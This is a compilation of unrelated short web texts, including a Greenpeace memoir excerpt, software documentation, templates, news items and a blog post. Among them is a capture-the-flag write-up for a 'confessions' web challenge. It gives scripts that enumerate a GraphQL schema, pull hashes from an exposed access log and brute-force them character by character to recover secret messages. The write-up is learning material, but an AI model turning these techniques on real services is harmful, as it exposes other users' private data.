 We never quite managed to go in the direction we wanted to go, or be in the place we wanted to be. And we fought bitterly among ourselves about it. Everything we did or said got sucked into an overwhelming power struggle. Here we were, supposedly saving the world through our moral example, emulating the Quakers, no less, when in reality we spent most of our time at each other's throats, egos clashing, the group fatally divided from start to finish. As every writer since Homer could tell you, this was the story: the conflict within. But having agreed, early in the game, to the Unity Rule - something like: I Pledge to Stay On-Side With the Group No Matter What, which had seemed like a bold leap into solidarity with The Movement at the time - I had effectively gagged myself as a reporter and historian. It was a trade-off: but I bought into it, so I couldn't complain. I'd get to be part of the consensus - my own skinny hand on the wheel of decision-making over the course of the Greenpeace, and therefore destiny - but like any other politician, I'd have to agree not to disagree in public. I disagreed, as it turned out, with just about everything that was done, but had to keep my mouth shut. How, therefore, to write a book?
Three decades later, his grey beard turned white, Jim Bohlen confided to me over a drink that he had been giving the sailing orders to our captain in secret throughout the voyage. As the guy signing the cheques and as the chairman of the Don't Make a Wave Committee, which had chartered the boat, Bohlen had the legal authority to do that, but rather than say that he was the boss, and that the Greenpeace and the protest action were therefore being run as an old-fashioned hierarchical power structure, he played games to keep us radical young crewmen under control. One of them was the promise that the ship would be run by consensus - each of us would have the power of veto. This was considered the ultimate hip form of sharing power at the time, and I, for one, respected it.
But it was all a sham. Decisions were indeed made - Bohlen made them. And he made them after the rest of us had gone back to our bunks. At the time I wrote my manuscript, immediately after the voyage, I had no idea what Bohlen had been up to behind the scenes. On any given day the actual movements of the boat, as opposed to the direction we'd agreed to at our meeting the night before, remained a mystery to me. Bohlen had us completely flummoxed. I salute him now for his cunning and maturity and prudence. We probably would have died if he hadn't assumed control. But back then, I plotted and connived to overthrow him as leader because he was "chickening out". Ben Metcalfe, Bohlen's co-conspirator in the plot to bring us home alive, the other mature war veteran on board, and the mastermind of the media campaign, saw no reason to put us at risk of committing mass suicide, and I sneered at him for having "lost it". But this guy had fought in the Desert War against Rommel, had resisted raf orders to bomb Gandhi's followers, and was so far ahead of me in terms of that elusive stuff called experience that there was never any doubt that in matters of life or death he would outmanoeuvre the mutinous but naïve youth faction. He was an old rogue survivor. A genius, I now realize. In the end, I studied at his feet.
The man who ultimately determined the fate of that first Greenpeace trip was John C. Cormack, the captain and owner, who had accepted the job of sailing his fishing boat into a nuclear test zone only out of economic desperation, a fact that never got talked about much. In hindsight it is interesting to remember what Cormack did and did not do at the critical moment. He saved his boat and us along with it. And we all saved face, at least enough to go home.
The key moment of the trip came a day before we limped back into Vancouver. As we all sat slumped in the galley, burned out, Bohlen announced that he was going to shut down the Don't Make a Wave Committee as soon as he got the chance. It was an ad hoc group and it had done its thing. Don't do that, I told him. Why waste all this hard-earned media capital? Fold the committee, sure, but reconstitute it as the Greenpeace Foundation. That was my main contribution, yet the moment did not find its way into my manuscript. It was an element of hope for a future revolution, and I was not hopeful as I bobbed in the harbour at Steveston, heartsick and overmedicated, writing the story of our failure. In the end I told the truth as I saw it, supposedly as it was, never mind loyalty to the cause.
As it turned out, all my angst was unnecessary. Time has proven my post-trip despair to be utterly mistaken. The trip was a success beyond anybody's wildest dreams. That bomb went off, but the bombs planned for after that did not. The nuclear test program at Amchitka was cancelled five months after our mission, and some scholars argue that this was the beginning of the end of the Cold War. Whatever history decides about the big picture, the legacy of the voyage itself is not just a bunch of guys in a fishing boat, but the Greenpeace the entire world has come to love and hate.
Excerpt from "The Greenpeace to Amchitka"
By Bob Hunter Published by Arsenal Pulp Press, Canada
ISBN Number: 1-55152-178-4
Reproduced with kind permission JUNE 2004


NIF File Format Documentation
NIF Objects | Compound Types | Enum Types | Basic Types | File Versions
Ptr
A signed 32-bit integer, referring to a object before this one in the hierarchy. Examples: Bones, gravity objects.
Can Be Used As Array Size
No
Found In


Interchange formats are many, JSON, BSON, XML, YAML and it goes on. A lot of these formats are very much at home in certain languages and/or task. YAML is very comfortable in Ruby, but to get it into C++ requires a fairly hefty library for what it is. XML parsers are easier to get into C++ but XML lacks the readability of YAML.
I don’t need yaml for what I need in C++, I really just need (want?) a better .INI file for config type things.
NYAML (Not YAML!)
Taking the main syntax style of YAML, but dropping a lot of the specs, we can strip yaml right back to a key value tree.
window:
width: 800
height: 600
title: window title
fullscreen: false
This is nice and readable, no special syntax highlighting required, and we can boil this straight down to a C++ lookup.
set_title(node["title"].get_value());
Final
I’ve wrapped this up as a single header library that can be found on github here. This isn’t meant to be a fully fledge interchange format, its just meant to have a yaml like key/value config file.


public interface PersistenceService
PersistenceService
provides methods for storing data
locally on the client system, even for applications that are running
in the untrusted execution environment. The service is somewhat
similar to that which the cookie mechanism provides to HTML-based
applications.
Each entry in the persistence data store is named with a URL. This provides a similar hierarchical structure as a traditional file system.
An application is only allowed to access data stored with a URL that
is based on its codebase. For example, given the codebase
http://www.mysite.com/apps/App1/
, the application
would be allowed to access the data at the associated URLs:
http://www.mysite.com/apps/App1/
http://www.mysite.com/apps/
http://www.mysite.com/
This scheme allows sharing of data between different applications from
the same host. For example, if another application is located at
http://www.mysite.com/apps/App2/
, then they can share data
between them in the http://www.mysite.com/
and
http://www.mysite.com/apps/
directories.
A JNLP client should track the amount of storage that a given
application uses. A PersistenceService
implementation
provides methods to get the current storage usage and limits and to
request more storage. Storage is allocated on a per file basis, but a
JNLP Client will typically grant or deny the request based on the total
storage is use by an application.
Data stored using this mechanism is intended to be a local copy of data stored on a remote server. The individual entries can be tagged as either cached, meaning the server has an up-to-date copy, dirty, meaning the server does not have an up-to-date copy, or temporary, meaning that the file can always be recreated.
| Modifier and Type | Field and Description |
|---|---|
static int |
CACHED |
static int |
DIRTY |
static int |
TEMPORARY |
| Modifier and Type | Method and Description |
|---|---|
long |
create(java.net.URL url,
long maxsize)
Creates a new persistent storage entry on the client side named with
the given URL.
|
void |
delete(java.net.URL url)
Removes the stream associated with the given URL from the
client-side date persistence store.
|
FileContents |
get(java.net.URL url)
Returns a
FileContents object representing the contents
of this file. |
java.lang.String[] |
getNames(java.net.URL url)
Returns an array of Strings containing the names of all the
entries for a given URL.
|
int |
getTag(java.net.URL url)
Returns an
int corresponding to the current value
of the tag for the persistent data store entry associated with the
given URL. |
void |
setTag(java.net.URL url,
int tag)
Tags the persistent data store entry associated with the given URL
with the given tag value.
|
static final int CACHED
static final int TEMPORARY
static final int DIRTY
long create(java.net.URL url, long maxsize) throws java.net.MalformedURLException, java.io.IOException
url
- the URL representing the name of the entry in the
persistent data store.maxsize
- maximum size of storage that can be written to this
entry.java.net.MalformedURLException
- if the application is denied access to
the persistent data store represented by
the given URL or the URL is null.java.io.IOException
- if an I/O exception occurs, or the entry already exists.FileContents get(java.net.URL url) throws java.net.MalformedURLException, java.io.IOException, java.io.FileNotFoundException
FileContents
object representing the contents
of this file.url
- the URL representing the persistent data store entry.java.io.IOException
- if an I/O error occurs.java.net.MalformedURLException
- if the application is denied access to
the persistent data store represented by
the given URL or the URL is null.java.io.FileNotFoundException
- if a persistence store for the given URL
is not found.void delete(java.net.URL url) throws java.net.MalformedURLException, java.io.IOException
url
- the URL representing the entry to delete from
the persistent data store.java.net.MalformedURLException
- if the application is denied access to
the persistent data store represented by
the given URL or the URL is null.java.io.IOException
- if an I/O exception occurs.java.lang.String[] getNames(java.net.URL url) throws java.net.MalformedURLException, java.io.IOException
url
- the URL representing the root directory to search for
entry names.String
array containing the entries
names.java.net.MalformedURLException
- if the application is denied access to
the persistent data store represented by
the given URL or the URL is null.java.io.IOException
- if an I/O exception occurs.int getTag(java.net.URL url) throws java.net.MalformedURLException, java.io.IOException
int
corresponding to the current value
of the tag for the persistent data store entry associated with the
given URL.url
- the URL representing the persistent data store entry
for which the tag value is requested.int
containing one of the following
tag values:
java.net.MalformedURLException
- if the application is denied access to
the persistent data store represented by
the given URL or the URL is null.java.io.IOException
- if an I/O exception occurs.void setTag(java.net.URL url, int tag) throws java.net.MalformedURLException, java.io.IOException
url
- the URL representing the persistent data store entry
for which to set the tag value.tag
- the tag value to set.java.net.MalformedURLException
- if the application is denied access to
the persistent data store represented by
the given URL or the URL is null.java.io.IOException
- if an I/O exception occurs.Copyright © 1998, 2019, Oracle and/or its affiliates. All rights reserved.


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Symbol Index for "Resource For Abandoned Activity"
Symbol Index for diagram
"Resource For Abandoned Activity"
Abandoned Activity (Class)
actual user (Association)
Resource For Abandoned Activity (Class)
Resource For Accepted Activity (Class)
Resource For Activity (Class)
Resource For Completed Activity (Class)
Resource For Scheduled Activity (Class)
Resource For Selected Activity (Class)
Resource For Started Activity (Class)
RFA/Direction (Generalization Node)


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This is what peak tab content looks like. You may not like it - but this is what it looks like.
All you tab content are belong to us
Yo dawg. I like to tab through my tabs when tab my tabs
One of us! One of us!
By default, toggle groups show the first component on start. Use the [toggle-start-open] directive to toggle a specific tab on start. If toggle-start-open is used on multiple tab panes, the last one declared will be used.
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aliquam consectetur dolorum neque voluptas? Animi dolorem doloribus, harum iste minus molestias natus nemo nobis provident quidem reprehenderit velit veniam veritatis? Porro?
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Animi, veniam.
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Using the official example template of creating a blog with Bootstrap.
by {{value.user}} - {{value.created |date:'medium'}}
{{value.content}}


Welcome {{username}}
Home
Logout
Send a friend request
Received friend requests
{% for line in unverifiedFriends %}
| UNVERIFIED FRIENDS --> |
{{line.friend_of}}
<-- UNVERIFIED FRIENDS |
{% endfor %}
Friends
{% for line in friends %}
| FRIENDS --> |
{{line.friend_of}} |
<-- FRIENDS |
{% endfor %}
Not in friends list
{% for line in notFriends %}
| COMMUNITY MEMBERS --> |
{{line.username}}
<-- COMMUNITY MEMBERS |
{% endfor %}


TokenTransferAction
public struct TokenTransferAction : Codable, Identifiable, Hashable, ContactProtocol, TokenContractProtocol
The TokenTransferAction object provide information about a transfer action
-
This is used as the primary key for storing the account
Declaration
Swift
public var id: String { get }
-
The chainId associated with the TokenTransferAction
Declaration
Swift
public let chainId: String
-
accountId is used to link Account. It is the chainId + “:” + name.stringValue.
Declaration
Swift
public let accountId: String
-
tokenBalanceId is used to link TokenBalance. It is the accoutId + “:” + contract.stringValue + “:” + symbol
Declaration
Swift
public let tokenBalanceId: String
-
tokenContractId is used to link TokenContract. It is the chainId + “:” + contract.stringValue + “:” + symbol
Declaration
Swift
public let tokenContractId: String
-
The action name performed on the contract
Declaration
Swift
public let name: String
-
The Name of the contract. You can get the string value via contract.stringValue
Declaration
Swift
public let contract: Name
-
The transaction Id from the chain
Declaration
Swift
public let trxId: String
-
The date in which the action was executed on chain
Declaration
Swift
public let date: Date
-
Whether or not the action was sent based on the current account
Declaration
Swift
public let sent: Bool
-
The Name of the receiving Account. You can get the string value via from.stringValue
Declaration
Swift
public let from: Name
-
The Name of the sending Account. You can get the string value via from.stringValue
Declaration
Swift
public let to: Name
-
The Asset quantity of the transfer. See EOSIO type Asset for more info
Declaration
Swift
public let quantity: Asset
-
The memo string associated with the transfer
Declaration
Swift
public let memo: String
-
TokenContracts associated with this TokenBalance
Declaration
Swift
public var tokenContract: TokenContract? { get }
-
Returns the other Account Name whether it be sender or receiver
Declaration
Swift
public var other: Name { get }
-
Returns the other Account as a Contact whether it be sender or receiver
Declaration
Swift
public var contact: Contact? { get }
-
Returns exchange rate
Declaration
Swift
public func getRate(forCurrencyCode currencyCode: String) -> Double
-
Formatted currency balance
Declaration
Swift
public func currencyQuantityFormatted(forLocale locale: Locale = Locale(identifier: "en_US")) -> String
-
Formatted balance without symbol and precision
Declaration
Swift
public func quantityFormatted(forLocale locale: Locale = Locale(identifier: "en_US"), withSymbol symbol: Bool = false, andPrecision precision: Bool = false) -> String


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Matt Bleifer
Grant Campanelli
Michael Murphy
Mike Ryu
Grant Plaster
Scotty Beauchamp
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Ad Hoc Launcher is an interface built into JasperServer Pro that allows a developer to enhance the Ad Hoc editor by adding a custom query editor. This query editor replaces the topic selection page that the user normally sees when creating a new Ad Hoc report, and can perform the following actions:
The JasperServer Pro distribution includes files for building a sample query editor called browseDB. BrowseDB displays all the tables in a SQL database and lets you construct simple queries with joins that can be used in Ad Hoc.
The files for browseDB are located under <js-install>/samples/customAdHoc.
A build.xml file is included which will install browseDB using Ant,
which is also included in JasperServer.
Once you have JasperServer installed under Tomcat or
another application server, you may take the following steps to add the sample
query editor to the JasperServer Pro webapp:
The following instructions assume an application server running locally at port 8080 with the JasperServer Pro webapp installed as jasperserver-pro.
Use a web browser to log into JasperServer Pro at http://localhost:8080/jasperserver-pro.
Go to the URL http://localhost:8080/jasperserver-pro/browseDB/browseDB.html?action=pickDatasource.
You should get a dropdown containing all the datasources that are reported to support SQL. Select a datasource that corresponds to a MySQL database, because browseDB's type mapping assumes MySQL database types.
Click "Display Tables"; you should get a page that lists all the tables in the database, each with a list of columns and their sql types. To look at the list of columns for a table, click on the “+” to the left of the table.
Click on one of the table names to select it as the main query table, and it will be displayed first. This table will be used as the basis for the SQL query used by Ad Hoc.
If you launch Ad Hoc now (see below), browseDB will create the query “select * from <table>” and include all the fields in that table, or you can join additional tables to the query.
BrowseDB allows you to select one column in a table for joining to that table, which is called the primary key. You can set a primary key by clicking on the column, then clicking “Set selected column as primary key”. Each table with a primary key is added to the dropdown at the top right. “PK” will appear next to the column name.
To join a column to the main table, select a column in the main table to join, then select a table in the dropdown to join to, then click “Join selected column on main table to…”. The table will be added to the main query table.
Once you are satisfied with the configuration of the query, you can start up Ad Hoc by clicking on one of the buttons for Ad Hoc report type: “Table”, “Crosstab”, or “Chart”. A query will be created which joins the main table to the other tables that were selected as join tables, and the Available Fields list will include all the columns in those tables. The column names are slightly massaged for readability (for example “brand_name” will be converted to “Brand Name”).
After saving the report to the repository from the Ad Hoc editor, Ad Hoc will remember that you used browseDB to construct the query and will save all the associated data in the browseDB table list.
In the repository, the report looks like another Ad Hoc report, with an icon for launching Ad Hoc again. However, when you click on that icon, the browseDB page displaying the list of tables will be launched instead of the Ad Hoc editor. You can do further editing, then launch Ad Hoc again by clicking “Start Ad Hoc”.
NOTE: If you use a field in an Ad Hoc report and later delete that field using browseDB, the corresponding Ad Hoc element will be deleted when you go into Ad Hoc again.
For example, if you create an Ad Hoc table with a column using the field “Brand Name”, and you delete that field later, the corresponding column will also be deleted from the table.


Thailand: Some green shoots of trade recovery – ING
by Dhwani MehtaThe ING Bank analysts noted that Thailand’s “accelerated trade decline in October tells us more about past history than the current trend, which already looks to have turned for the better.”
Key Quotes:
“Thailand’s October trade figures released today showed steeper than expected declines in both exports and imports. Exports fell by 4.5% year-on-year and imports were down 7.6%, yielding a narrower monthly trade surplus of $507 million compared with $1.3 billion in September.
Trade growth was weaker than a consensus that centred on -3.7% YoY for exports and -6.5% for imports, but the trade surplus was higher than $419 million expected.
Although the monthly trade surplus narrowed sharply in October, the cumulative surplus of $7.9 billion in the first 10 months of the year is up by $3.5 billion from the same period of 2018. Indeed, this will be associated with a wider current account surplus this year, marking the end of a brief trend of narrowing in 2018.
We don’t see this trade report carrying much market impact, especially on the currency (Thai baht, THB) for which it matters most. However, the THB continues to enjoy the strong backing of a large current account surplus.”


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regular contact date: 2019/01/01
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hello world 🦁
2 + 2 =
6 / 3 =
What is the square root of 16?
What's my name?
4 * 3 =
What city are we in?
What's my favorite color?
3 + 9 =
What's my zodiac sign?
8 * 3 =


{% extends 'main/base.html' %} {% block content %} {% load static %}
See which notebooks you have shared and can share.
{%if notebook_files%}
{{nb_file.basename}}
{{notebook.notebook_name}}


Main page
Luna
Guide:
Step 1: Take Orchid at the beginning
Step 2: Go east, then south, take note, then go east once more, and then end up at the beekeeper. Use the Orchid.
Step 3: Go west, then north, then Use Honey at the bear.
Step 4: Go south, then west, then Use Wine with the couple at the boat.
 Use boat.
Step 6: Go south, go south, and end up at a chest. Use the lockpick.
Step 7: Go west, and then use the map at the trees at the top of a hill
Step 8: Go north, then north again, then west to end up at the starting area. Use mushrooms to beat the game.


Esha Gupta Looks Seductive In A Red Bikini & We Can’t Take Our Eyes Off Her
On the work front, Esha was recently seen co-starring with veteran actor Anupam Kher in Ashok Nanda's film, "One Day: Justice Delivered"
by Koimoi.com TeamEsha Gupta is known for making bold sartorial fashion choices in Bollywood. Her style is always unique and A-class. She keeps posting her beautiful pictures every now and then on social media.
Esha shared a picture in a red bikini and is looking really hot with wavy hair. She paired her bikini with a denim jacket and her subtle makeup is adding the right kind of glam to her look. She is wearing golden danglers with the red bikini and her smokey eyes look is the perfect makeup to go for this kind of look.
On the work front, Esha was recently seen co-starring with veteran actor Anupam Kher in Ashok Nanda’s film, “One Day: Justice Delivered”. She played a cop in the film.
She will next be seen in Ameesha Patel’s production, “Desi Magic”, which is scheduled to release in September. The film stars Ameesha along with Zayed Khan and is directed by Mehul Atha.


Prompt:
We are presented with a web page that let’s us post confessions. Basically we can enter a title and a message, and the sha256 hash of the message is reflected on the page:
Quick look at the source code reveals confessions.js. Let’s have a look.
// talk to the GraphQL endpoint
const gql = async (query, variables={}) => {
let response = await fetch(‘/graphql’, {
method: ‘POST’,
headers: {
‘content-type’: ‘application/json’,
},
body: JSON.stringify({
operationName: null,
query,
variables,
}),
});
let json = await response.json();
if (json.errors && json.errors.length) {
throw json.errors;
} else {
return json.data;
}
};
// some queries/mutations
const getConfession = async hash => gql(‘query Q($hash: String) { confession(hash: $hash) { title, hash } }’, { hash }).then(d => d.confession);
const getConfessionWithMessage = async id => gql(‘mutation Q($id: String) { confessionWithMessage(id: $id) { title, hash, message } }’, { id }).then(d => d.confessionWithMessage);
const addConfession = async (title, message) => gql(‘mutation M($title: String, $message: String) { addConfession(title: $title, message: $message) { id } }’, { title, message }).then(d => d.addConfession);
const previewHash = async (title, message) => gql(‘mutation M($title: String, $message: String) { addConfession(title: $title, message: $message) { hash } }’, { title, message }).then(d => d.addConfession);
// the important elements
const title = document.querySelector(‘#title’);
const message = document.querySelector(‘#message’);
const publish = document.querySelector(‘#publish’);
const preview = document.querySelector(‘#preview’);
// render a confession
const show = async confession => {
if (confession) {
preview.querySelector(‘.title’).textContent = confession.title || ‘<title>rsquo;;
preview.querySelector(‘.hash’).textContent = confession.hash || ‘<hash>’;
preview.querySelector(‘.message’).textContent = confession.message || ‘<message>’;
preview.querySelector(‘.how-to-verify’).textContent = sha256(${JSON.stringify(confession.message || '')});
} else {
preview.innerHTML = ‘Not found :(’;
}
};
// update the confession preview
const update = async () => {
let { hash } = await previewHash(title.value, message.value);
let confession = await getConfession(hash);
await show({
…confession,
message: message.value,
});
};
title.oninput = update;
message.oninput = update;
// publish a confession
publish.onclick = async () => {
title.disabled = true;
message.disabled = true;
publish.disabled = true;
let { id } = await addConfession(title.value, message.value);
location.href = `#${id}`;
location.reload();
};
// show a confession when one is given in the location hash
if (location.hash) {
let id = location.hash.slice(1);
document.querySelector(‘#input’).remove();
getConfessionWithMessage(id).then(show).catch(() => document.write(‘F’));
}
The above code reveals that GraphQL is used for storing and accessing confessions.
There is a query, confession
, as well as two mutations, confessionWithMessage
and addConfession
.
I wanted to further enumerate the GraphQL schema and see if there is anything else accessible to us. I did not have much experience with GraphQL prior to this challenge so this was a great learning opportunity.
I found this guide, https://moonhighway.com/five-introspection-queries and used some of the queries to see what I can learn about the GraphQL schema for this challenge.
First, let’s see if there are any other queries we can send:
The query accessLog
sticks out like a sore thumb.
Let’s try to send an accessLog query:
Looks like we’re onto something here.  The timestamps are not consistent with the time at which I was playing with the web app and sending my own trial ‘confessions’.
I stripped out all of the hashes, and sent a confession
query with each of the hashes passed as arguments. This is the response I received:
Below is the script used to send accessLog
query, strip out hashes, and send each one as an argument to a confession
query.
import requests
import json
session = requests.Session()
url = ‘https://confessions.flu.xxx/graphql’
query = “”“
query Q{
accessLog{
name, timestamp, args
}
}
”“”
full_query = {
‘operationName’: None,
‘query’: query,
‘variables’:{
‘hash’:‘827ade3254c72ae811201b418766d9a8802e91b029d95cc9de2f0169274aedd7’
}
}
r = session.post(url, json=full_query)
response_json = json.loads(r.text)
print(‘Query: ’)
print(query)
print(‘************************************************’)
print(‘response: ’)
print(json.dumps(response_json, indent=2))
print(‘************************************************’)
print(‘————————————————’)
print()
hashes = []
for i in response_json[‘data’][‘accessLog’]:
if ‘hash’ in i[‘args’]:
hashes.append(i[‘args’].split(‘“:”’)[1].split(‘“}’)[0])
for h in hashes: print(h)
# send each hash
query = “”“
query Q($hash: String){
confession(hash: $hash){
title, hash, id, message
}
}
”“”
for h in hashes:
full_query = {
‘operationName’: None,
‘query’: query,
‘variables’:{
‘hash’:h
}
}
r = session.post(url, json=full_query)
response_json = json.loads(r.text)
print('hash: ')
print(h)
print('************************************************')
print('response: ')
print(json.dumps(response_json, indent=2))
print('************************************************')
print('------------------------------------------------')
print()
Each of these confessions had a title of Flag. But why are there so many?
I entered the first couple of hashes into CrackStation.
The first hash was found to be f
Next one was fl
And the subsequent hashes started spelling out flag{
I could not crack any more hashes on CrackStation, but now I could see a clear path to the flag:
Below is my script that does this:
import hashlib
import string
with open(‘hashes.txt’) as f:
h = f.read()
# get list of hashes from hashes.txt
hashes = h.split(‘\n’)
flag = []
while len(flag) < 28:
for c in string.printable:
temp = ‘’.join(flag) + c
hashed = hashlib.sha256(temp.encode()).hexdigest()
if hashed in hashes:
flag.append(c);
print(‘’.join(flag))


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VSL // Pick Your Poison
* Copper is poisonous at certain doses but it is really essential for life and health in lower doses
today’s Very Short List:
culture 14 Jan 2014
Dr. Mark Siddall is a curator in the Division of Invertebrate Zoology at the American Museum of Natural History
Subscribe
* Cone snail venoms are lethal but are being exploited for drugs
* Cyanide is deadly, but its presence in plants
http://link.nyobserver.com/516ca68465217dc6e1b9a3a61egcp.byb/UgqgLuYQbsTE3UNnDc882 very short list is a
delightful e-mail that shares
cultural gems from a
different curator every day.
If you have any problems reading this e-mail, click here
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tech 13 Jan 2014
John Clifford on design, yesterday and today.
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--- title: smooth sidebar: function_reference_sidebar permalink: grain2d.smooth.html folder: function_reference toc: false ---
constraint laplacian smoothing of grain boundaries
| grains | grain2d |
| iter | number of iterations (default: 1) |
| grains | grain2d |
| moveTriplePoints | do not exclude triple/quadruple points from smoothing |
| moveOuterBoundary | do not exclude outer boundary from smoothing |
| second_order, S2 | second order smoothing |
| rate | default smoothing kernel |
| gauss | gaussian smoothing kernel |
| exp | exponential smoothing kernel |
| umbrella | umbrella smoothing kernel |


Austin MacPhee set for extended Hearts audition as Ann Budge ponders options
The interim boss will have more time to make his case as Hearts' best option for their managerial vacancy.
by Gordon Waddell, https://www.dailyrecord.co.uk/authors/gordon-waddell/Austin MacPhee has been guaranteed at least one more audition for the Hearts job before he’s formally interviewed for it.
And he’s been told he could even be given the chance to buy Ann Budge time by taking them through to the winter break if he keeps winning.
The Hearts owner has promised the interim head coach - currently on duty with Northern Ireland - he’ll definitely be in charge for their game against Kilmarnock on Saturday.
He’ll then sit down within 48 hours to make his case for the gig on a permanent basis.
Budge has already spoken to out-of-work candidates Neil McCann, Stuart McCall and Steve Cotterill, as well as new Hibs Jack Ross, who is now obviously out of the running.
Stage two is for her to target in-work bosses she believes are a good fit for the club - and Stephen Robinson remains on her radar, despite the £120,000 Mailsport revealed it would take to prise him from the Motherwell dugout.
But she’s understood to be determined to make the right decision rather than the quick one.
And Mailsport believes that could yet see MacPhee take charge of the eight games they have in December.


About
Education
- B.Tech from NIT Surathkal in Electronics and Communication Engineering, 2017
- Plaksha Tech Leader Fellow, 2021
Work Experience
- Embedded Software Developer, 2017 - 2020
Interests
- Computer Vision
- Natural Language Processing
Extra Curriculars
- Vice President and Secretary at Toastmasters Club
- Judge at Speech Contests
- Organizing team outings
- Participation in charity events
Hobbies
- Badminton
- Ukulele
Some Recommendations
- 3Blue1Brown
- Making complex mathematics fun and interesting
- Linear Digressions
- My favourite podcast on Data Science
- Trevor Noah
- An amazing comedian with an exceptional view on racism.
- Also checkout The Daily Show with Trevor Noah


'Sonic the Hedgehog' movie tries again with a new trailer
The nightmare is over.
by Rachel EnglandParamount's original trailer for the upcoming Sonic the Hedgehog movie was... really something, wasn't it? The under-stylized body, the odd soundtrack choice, the teeth. Such was the Sonic fandom's collective horror that director Jeff Fowler swiftly announced the movie would be put on pause until the studio got the design right. Now, they think they've nailed it.
The new trailer -- which has received an outpouring of relieved gratitude from fans -- features an altogether less unsettling Sonic, with a properly-styled body, friendlier eyes and an absolutely normal mouth. The trailer is crammed full of highlights, showcasing what the movie has in store, and -- crucially -- it uses the OG Sonic music. If it's Paramount's attempt at an apology, then all is forgiven. The movie arrives in theaters on February 14th next year.


The path that lead me to Wellington and Dev-Academy began about 4 years ago, when I had reached the end of my tether working as a AV tech for a live events company. As any venue worker, hospo contractor or performer will tell you, gig economy work can be terribly isolating socially, and extremely competetive. Everybody is competing over a share of a rather small pie in New Zealands entertainment industry, and while there were technicians more experienced than me, I had a good grasp of the soft skills required to maintain good client relations over the course of long events. That lead to a situation where after years of overwork I was so fatigued and dissillusioned that I quit my job and moved to Melbourne to try to pursue a new start.
Melboure life suited me well. Its a wonderfully engaging, dense and culturally rich place to live, and I had many wonderful experiences there that showed me there was more to life than the quarter mile radius of commuting working and sleeping that was my life.I had the opportunity to camp out in the Grampians National Park, walk the Kokoda track Memorial Walk in the Dandenong. Perhaps most spectacularly of all, I fulfilled a lifelong dream of seeing the Great Barrier Reef with my own eyes on a 10 day stay on NorthWest Island.
Unfortunately things were about to take somewhat of a turn.
After travelling back to New Zealand for 7 days for a good friends wedding I had a suprise health scare that lead to a shock cancer diagnosis.  It simply feels like something that only happens to other older people. People with some sort of genetic risk factor that would explain it. Needless to say the following surgury recovery and monitoring program changed everything for me. I still had a lease in Melbourne yet here I was in a hospital bed with no income in Auckland, unable to get up unassisted and enrolled in a treatment regime that required regular checkups, blood tests, scans. The love and support of others made that time endurable.
One thing I feel its unavoidable to learn when you meet mortality from a distance is not to wait for life. I became even more determined to change my career to something that would offer more stability. I wanted to live somewhere I enjoyed. I wanted to hone the skills required to open up working remotely for myself. I wanted to live with the love of my life. Thankfully there came an oppertunity! My partner got a job offer for her first gamedev job, for a company located in Upper Hutt. A flat became available in Thorndon through a personal connection and I have long admired Wellingtons geography and urban culture. So we jumped at the chance!
Then a month and a half later we're in COVID-19 lockdown.
This gave me no choice. I had to get out of events work. There were no more touring acts, no more open venues, no more local festivals. The career change had to happen now. So I asked around some of my Wellington developer mates, and Dev-Academy came up several times from several people. That about takes us to the present! If you have gotten this far thanks for reading :) and look forward to lots more walls of text as I reflect further on my background, learning and values. Its good to be alive.


--- layout: beatrice_page title: "Implementing Variable Fonts" permalink: /implementing-variable-fonts/ ---
Variable fonts are well supported and ready to use in production today
The best way to understand variable fonts is to jump in and start playing with them. And there’s no need to wait—browser support is very high and there are lots of ways you can put variable fonts to work in your projects today. The Google Fonts API supports them as of v2, you can host them yourself if you have the font files, and soon you’ll be able to add them to your site through the regular Google Fonts user interface.
The new API for requesting fonts lets you select any of a growing number of variable fonts in their catalog. The syntax is pretty flexible, and allows you to call for a specific combination of axes, static values, and ranges. Because the Google Fonts developer documentation site is so comprehensive, here the focus will specifically be on working with variable font axis and range combinations so you have the greatest flexibility available when designing your project.
After selecting a variable font to use via the API, the first thing you need to pay attention to is the changes in syntax from v1 to v2. Requesting Yanone Kaffeesatz as a variable font with a weight axis range of 200–700 looks like this:
<EMAIL_ADDRESS>Let’s break down the parts of the request:
css2?family=[font name]:[axis keyword]@[range (low)]..[range (high)]
First, note that while the address endpoint is css2, specifying the font name is relatively unchanged from the previous version of the API. It’s after the colon that things change more dramatically. This is where the axis (or axes) are listed, followed by an “@” symbol, followed by values indicating the ranges requested. The API allows for individual values to be specified, but here the request uses the ‘[range (low)]..[range (high)]’ syntax to request the full weight range of 200 to 700. If you only require the weight to cover part of the available range, you can adjust the values accordingly and end up with a slightly smaller download.
Once requested, you can specify any value within that range in your CSS. In the case of the weight axis, that corresponds to the standard font-weight
attribute.
p {
font-weight: 350;
}
strong {
font-weight: 575;
}
Italics can be requested separately with the corresponding weight axis range, or as a combination (if available) of both upright and italic in the full requested range.
Just italics with a weight range of 200-900
https://fonts.googleapis.com/css2?family=Crimson+Pro:ital,wght@1,200..900
Or both upright and italics in the same range
https://fonts.googleapis.com/css2?family=Crimson+Pro:ital,wght@0,200..900;1,200..900
There are detailed notes on the syntax in the documentation, but here are a couple of points to remember:
This version of the API can serve both static and variable fonts—and indeed static instances of variable fonts. In other words, the same URL structure can retrieve the static fonts, a variable font range, or a variable font instance at a single specific value. Although in some cases it may be useful to request, say, only the 575 weight of a given typeface, the real benefits of using variable fonts often lie in using more of the available range, which is why that’s the focus of most of the demos on this site.
Crimson Pro, static, normal weight
https://fonts.googleapis.com/css2?family=Crimson+Pro:400
Crimson Pro, variable, specific weight:
https://fonts.googleapis.com/css2?family=Crimson+Pro:wght@450
Crimson Pro, variable, full weight range
<EMAIL_ADDRESS>The first example above is closest to the syntax previously supported in the API. The second example includes the wght
keyword with a specific weight listed after the “@” sign, indicating a static instance from the variable font. The third example is a request for the full weight range of the variable font.
Hosting variable fonts on your site is not much different than hosting standard ones, but there are a few key parts that must be included in order for them to work best. While there have been several iterations of the specification, these examples will show the most current and complete implementation to ensure the broadest compatibility.
Adding the @font-face rules to your CSS looks like this:
@font-face {
font-family: Roboto Extremo;
src:
url('..path/to/fonts/roboto_extremo.woff2')
format(‘woff2 supports variations’),
url('..path/to/fonts/roboto_extremo.woff2')
format('woff2-variations');
font-stretch: 25% 150%;
font-style: oblique 0deg 10deg;
font-weight: 100 900;
font-display: swap;
}
So the first part you’ll notice is the source. Because the CSS specification is evolving, including both format hints ensures that it will work now and in the future once the full specification is supported in browsers. The first syntax (woff2 supports variations) is the more modern, as there will also be color fonts so there needs to be a way to indicate combinations of features. The second (woff2-variations) is the currently-supported syntax in all supporting browsers. As support evolves, the newer syntax will take over without compromising support for older browsers.
